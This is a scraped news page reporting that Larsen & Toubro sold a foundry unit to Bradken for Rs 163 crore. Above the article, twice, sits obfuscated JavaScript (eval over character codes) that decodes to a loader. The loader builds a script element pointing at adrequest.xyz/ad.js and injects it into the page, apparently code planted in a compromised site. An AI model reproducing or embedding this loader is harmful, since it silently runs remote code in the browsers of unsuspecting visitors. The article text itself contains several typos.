var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 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120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125)); Larsen & Toubro (L&T) has decided to sell its unit to Bradken. var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 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Larsen & Toubro (L&T) has decided to sell its unit to Bradken Limited for Rs 163 crore

Foundry Unit, India, L & T,

Returns of the foundry unit for the fiscal 2015 was Rs 122 crore & the percentage involvement of the unit by revenue & net worth is less than 1%, stated L&T in a publication to BSE

On November 2015 the business transfer agreement was signed & it’s now completed.

An Australian-listed entity, Bradken India, through its Indian subsidiary attained the foundry unit. Bradken is a global supplier & manufacturer of consumable & capital products to the transport, mining, contract manufacturing markets & general industrial.

Bradkeh has 52 facilities, sales and service facilities across New Zeland, Australia, China, UK, US, Malaysia, Indonesia & Canada.

The trade of this business is in line with the company’s strategic plan to exit non-core business & rationalise its portfolio. The company carries on to maintain its foundries at Kansabahal, Odhisha and L&T Special Steels and heavy Forgings, Hazira, Gujarat.

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